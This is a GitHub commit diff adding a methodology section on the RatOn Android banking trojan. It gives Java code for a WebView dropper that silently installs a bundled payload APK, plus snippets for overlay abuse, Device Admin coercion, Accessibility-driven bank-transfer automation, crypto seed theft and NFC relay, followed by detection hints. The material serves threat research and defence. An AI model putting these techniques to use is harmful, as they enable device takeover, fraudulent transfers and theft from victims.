You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+166Lines changed: 166 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -222,11 +222,177 @@ public void onMessageReceived(RemoteMessage msg){
222
222
223
223
---
224
224
225
+
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
226
+
227
+
The RatOn banker/RAT campaign (ThreatFabric) is a concrete example of how modern mobile phishing operations blend WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, and even NFC-relay orchestration. This section abstracts the reusable techniques.
Attackers present a WebView pointing to an attacker page and inject a JavaScript interface that exposes a native installer. A tap on an HTML button calls into native code that installs a second-stage APK bundled in the dropper’s assets and then launches it directly.
231
+
232
+
Minimal pattern:
233
+
234
+
```java
235
+
publicclassDropperActivityextendsActivity {
236
+
@OverrideprotectedvoidonCreate(Bundleb){
237
+
super.onCreate(b);
238
+
WebView wv =newWebView(this);
239
+
wv.getSettings().setJavaScriptEnabled(true);
240
+
wv.addJavascriptInterface(newObject(){
241
+
@android.webkit.JavascriptInterface
242
+
publicvoidinstallApk(){
243
+
try {
244
+
PackageInstaller pi = getPackageManager().getPackageInstaller();
245
+
PackageInstaller.SessionParams p =newPackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
246
+
int id = pi.createSession(p);
247
+
try (PackageInstaller.Session s = pi.openSession(id);
248
+
InputStream in = getAssets().open("payload.apk");
249
+
OutputStream out = s.openWrite("base.apk", 0, -1)){
250
+
byte[] buf =newbyte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
251
+
}
252
+
PendingIntent status =PendingIntent.getBroadcast(this, 0, newIntent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT|PendingIntent.FLAG_IMMUTABLE);
Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.
281
+
282
+
- Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks.
283
+
- Overlay permission check/request:
284
+
285
+
```java
286
+
if (!Settings.canDrawOverlays(ctx)) {
287
+
Intent i =newIntent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
- pass inline HTML that is loaded into a WebView overlay.
303
+
304
+
Likely uses: coercion (PIN entry), wallet opening to capture PINs, ransom messaging. Keep a command to ensure overlay permission is granted if missing.
305
+
306
+
### Remote control model – text pseudo-screen + screen-cast
307
+
- Low-bandwidth: periodically dump the Accessibility node tree, serialize visible texts/roles/bounds and send to C2 as a pseudo-screen (commands like `txt_screen` once and `screen_live` continuous).
308
+
- High-fidelity: request MediaProjection and start screen-casting/recording on demand (commands like `display` / `record`).
309
+
310
+
### ATS playbook (bank app automation)
311
+
Given a JSON task, open the bank app, drive the UI via Accessibility with a mix of text queries and coordinate taps, and enter the victim’s payment PIN when prompted.
312
+
313
+
Example task:
314
+
315
+
```json
316
+
{
317
+
"cmd": "transfer",
318
+
"receiver_address": "ACME s.r.o.",
319
+
"account": "123456789/0100",
320
+
"amount": "24500.00",
321
+
"name": "ACME"
322
+
}
323
+
```
324
+
325
+
Example texts seen in one target flow (CZ → EN):
326
+
- "Nová platba" → "New payment"
327
+
- "Zadat platbu" → "Enter payment"
328
+
- "Nový příjemce" → "New recipient"
329
+
- "Domácí číslo účtu" → "Domestic account number"
330
+
- "Další" → "Next"
331
+
- "Odeslat" → "Send"
332
+
- "Ano, pokračovat" → "Yes, continue"
333
+
- "Zaplatit" → "Pay"
334
+
- "Hotovo" → "Done"
335
+
336
+
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
337
+
338
+
### Crypto wallet seed extraction
339
+
Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
340
+
341
+
### Device Admin coercion
342
+
Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
343
+
344
+
- Immediate lock:
345
+
346
+
```java
347
+
dpm.lockNow();
348
+
```
349
+
350
+
- Expire current credential to force change (Accessibility captures new PIN/password):
351
+
352
+
```java
353
+
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
354
+
```
355
+
356
+
- Force non-biometric unlock by disabling keyguard biometric features:
Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
365
+
366
+
### NFC relay orchestration (NFSkate)
367
+
Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
- Hunt for WebViews with `addJavascriptInterface()` exposing installer/permission methods; pages ending in “/access” that trigger Accessibility prompts.
383
+
- Alert on apps that generate high-rate Accessibility gestures/clicks shortly after being granted service access; telemetry that resembles Accessibility node dumps sent to C2.
-[Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
-[The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
- Collect phrase via keylogging the text nodes, secure-screen bypass, or screenshot OCR when text is obscured.
231
+
- Support multiple locales (EN/RU/CZ/SK) to stabilise selectors – prefer `viewIdResourceName` when available, fallback to multilingual text matching.
232
+
233
+
## NFC-relay orchestration
234
+
Accessibility/RAT modules can install and launch a dedicated NFC-relay app (e.g., NFSkate) as a third stage and even inject an overlay guide to shepherd the victim through card-present relay steps.
235
+
236
+
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
237
+
238
+
---
239
+
149
240
## References
150
241
*[PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
*[The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
0 commit comments